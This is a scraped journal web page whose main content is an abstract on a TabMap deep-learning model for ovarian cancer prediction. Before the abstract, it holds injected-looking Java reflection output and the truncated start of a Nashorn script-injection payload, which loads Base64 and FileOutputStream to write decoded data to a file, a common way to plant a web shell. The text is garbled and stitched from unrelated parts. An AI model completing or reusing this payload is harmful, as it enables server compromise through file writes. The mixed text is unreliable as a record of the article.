public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2026, Vol. 46 ›› Issue (7): 1714-1722.doi: 10.12122/j.issn.1673-4254.2026.07.24

Previous Articles    

Medical prior-guided TabMap deep learning model for ovarian cancer prediction and interpretability analysis

Jun ZHU1(), Shunqian TAN1, Fangjun HUANG2, Guangyao CAI3, Xin ZHEN1()   

  1. 1.School of Biomedical Engineering, Southern Medical University, Guangzhou 510515, China
    2.Department of Radiation Oncology, Guangdong Provincial People's Hospital (Guangdong Academy of Medical Sciences), Southern Medical University, Guangzhou 510080, China
    3.Department of Gynecology, Sun Yat-sen University Cancer Center, South China State Key Laboratory of Oncology, Provincial-Ministry Collaborative Innovation Center for Medical Oncology, Guangzhou 510060, China
  • Received:2025-12-03 Online:2026-07-20 Published:2026-07-20
  • Contact: Xin ZHEN E-mail:2570540683@qq.com;xinzhen@smu.edu.cn
  • Supported by:
    National Natural Science Foundation of China(82572381)

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Abstract:

Objective To develop a TabMap image mapping and deep learning prediction framework that integrates medical prior knowledge to address the challenges of complex feature associations in tabular medical data and insufficient model interpretability in early ovarian cancer diagnosis. Methods Based on clinical semantics, 36 medical diagnostic features were partitioned into 4 spatially continuous regions, namely the routine blood test partition, biochemical indicators partition, tumor markers partition, and other (coagulation, inflammation, and other clinical variables) partition. The Gromov-Wasserstein optimal transport algorithm was then employed to solve the optimal coupling between feature space and pixel space, thus generating TabMap images that preserve the topological structures. A lightweight convolutional neural network incorporating SE attention mechanism and global average pooling was designed to handle sample imbalance using class-weighted loss and weighted sampling strategies. Finally, class activation mapping (CAM) technique was utilized to visualize the model's decision-making process for interpretability analysis. Results Experiments on a real ovarian cancer dataset demonstrated that the proposed method achieved a test accuracy of 91.82% with a precision of 89.96%, recall of 89.45%, F1-score of 0.8970 and balanced accuracy of 88.51%, representing accuracy improvements of 8.26%-14.93% over traditional machine learning methods and 2.28%-13.60% over standard deep learning models. Interpretability analysis showed that the model exhibits pronounced activation patterns in the tumor-marker region as well as in coagulation-, inflammation-, and age-related zones, consistent with established clinical understanding. The feature-importance ranking further underscored the pivotal roles of CA125, HE4, and other key biomarkers in guiding the model's decisions. Conclusion The proposed medical prior-guided TabMap method effectively integrates domain knowledge with data-driven learning, which enhances both its prediction performance and clinical interpretability. This strategy provides a novel approach for deep learning modeling of tabular medical data with good clinical potentials.

Key words: ovarian cancer prediction, TabMap, interpretability, medical prior knowledge, deep learning